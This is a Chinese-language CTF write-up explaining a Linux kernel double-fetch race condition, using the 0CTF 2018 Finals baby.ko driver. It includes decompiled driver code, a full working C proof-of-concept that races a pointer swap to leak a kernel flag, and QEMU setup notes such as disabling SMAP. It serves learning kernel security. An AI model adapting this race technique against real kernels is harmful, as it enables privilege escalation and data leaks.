Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch

2019-07-29 约 420 字 预计阅读 2 分钟

声明:本文 【Linux Kernel Exploit 内核漏洞学习(1)-Double Fetch】 由作者 钞sir 于 2019-07-29 09:07:00 首发 先知社区 曾经 浏览数 89 次

感谢 钞sir 的辛苦付出!

简介

Double Fetch从漏洞原理上讲是属于条件竞争漏洞,是一种内核态与用户态之间的数据存在着访问竞争;而条件竞争漏洞我们都比较清楚,简单的来说就是多线程数据访问时,并且没有对数据做必要的安全同步措施;当多线程时,对于同一数据有一个线程在读而有另外一个线程在写,这就可能引起数据的访问异常,而此时如果这个异常访问情况发生在内核与用户线程之间时,就触发double fetch漏洞了....
为了简化漏洞,这里我们利用2018 0CTF Finals Baby Kernel来学习这个漏洞的利用方法,其中驱动的运行环境我都已经放在这个github里面了,有需要的可以下载学习....

一个典型的Double Fetch漏洞原理

一个用户态线程准备的数据通过系统调用进入内核,这个数据在内核中有两次被取用,内核第一次取用数据进行了安全检查(比如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理;而在两次取用数据的间隙,另一个用户态线程可以创造条件竞争,对那个已经将通过了检查的用户态数据进行篡改,使得数据在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升....
简单的原理示意图就是这个样子:

具体分析

现在我们直接来分析baby.ko这个驱动文件:

ida静态分析

这个驱动文件主要注册一个baby_ioctl的函数:

这个函数中主要分为2个部分,一个部分打印flag在内核中的地址:

if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }

而另一部分则是直接打印出flag的值:

else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
         && !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }

并且我们发现flag是被硬编码在驱动文件中的:

(注意我们的目的为了不是直接得到这个flag的,而是通过Double Fetch漏洞从内核中获得她....)
但是如果想要驱动直接打印出flag的话,我们必须要绕过两处检查:
第一处是else if里面的条件:

else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
         && !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
         && *(_DWORD *)(v5 + 8) == strlen(flag) )

其中_chk_range_not_ok的内容是:

其实就是判断a1+a2是否小于a3....
而通过分析这个v5应该是一个结构体,通过*(_QWORD *)v5*(_DWORD *)(v5 + 8) == strlen(flag)我们很容易推出v5这个结构体包含的是flag的地址及其长度,如下:

struct v5{
    char *flag;
    size_t len;
};

而我们通过gdb调试发现*(_QWORD *)(current_task + 0x1358LL)的值为0x7ffffffff000:

所以我们推测和调试我们发现上面这个判断是判断v5以及v5->flag是否为用户态,如果不是用户态就直接返回:

所以综上所述,检查为:

1. 输入的数据指针是否为用户态数据。
2. 数据指针内flag是否指向用户态。
3. 据指针内len是否等于硬编码flag的长度。

第二处是for循环里面的条件:

for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }

对用户输入的内容与硬编码的flag进行逐字节比较,如果一致了,就通过printk把flag打印出来了;

漏洞分析

这个驱动晃眼一看好像没有什么漏洞,但是其实上面两个检查是分开的:

这就表明我们可以在判断flag地址范围和flag内容之间进行竞争,通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较,通过检查得到flag....

思路

所以整体思路就是先利用驱动提供的cmd=0x6666功能,获取内核中flag的加载地址(这个地址可以通过dmesg命令查看);
然后,我们构造一个符合cmd=0x1337功能的数据结构,其中len可以从硬编码中直接数出来为33,user_flag地址指向一个用户空间地址;
最后,创建一个恶意线程,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容....

POC

poc.c:

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>

unsigned long long flag_addr;
int Time = 1000;
int finish = 1;

struct v5{
    char *flag;
    size_t len;
};

//change the user_flag_addr to the kernel_flag_addr
void change_flag_addr(void *a){
    struct v5 *s = a;
    while(finish == 1){
        s->flag = flag_addr;
    }
}

int main()
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    pthread_t t1;
    char buf[201]={0};
    char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";     //user_flag
    char *addr;
    int file_addr,fd,ret,id,i;
    struct v5 t;
    t.flag = m;
    t.len = 33;
    fd = open("/dev/baby",0);
    ret = ioctl(fd,0x6666);
    system("dmesg | grep flag > /tmp/sir.txt");     //get kernel_flag_addr
    file_addr = open("/tmp/sir.txt",O_RDONLY);
    id = read(file_addr,buf,200);
    close(file_addr);
    addr = strstr(buf,"Your flag is at ");
    if(addr)
        {
            addr +=16;
            flag_addr = strtoull(addr,addr+16,16);
            printf("[*]The flag_addr is at: %p\n",flag_addr);
        }
    else
    {
            printf("[*]Didn't find the flag_addr!\n");
            return 0;
    }
    pthread_create(&t1,NULL,change_flag_addr,&t);   //Malicious thread
    for(i=0;i<Time;i++){
        ret = ioctl(fd,0x1337,&t);
        t.flag = m;     //In order to pass the first inspection
    }
    finish = 0;
    pthread_join(t1,NULL);
    close(fd);
    printf("[*]The result:\n");
    system("dmesg | grep flag");
    return 0;
}

编译:

gcc poc.c -o poc -static -w -pthread

运行结果:

后记

关于驱动在内核态的调试方法应该是安装驱动,对相应函数下断,运行poc,然后才可以断下来调试,和我们在用户态直接调试程序其实就是多了一个运行poc,其他方法都差不多的....
最后注意配置QEMU启动参数时,不要开启SMAP保护,否则在内核中直接访问用户态数据会引起kernel panic....
还有,配置QEMU启动参数时,需要配置为非单核单线程启动,不然无法触发poc中的竞争条件,具体操作是在启动参数中增加其内核数选项,如:

-smp 2,cores=2,threads=1  \

不过,我上传的那个环境应该都是配置好了,应该是可以直接运行start.sh的....

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now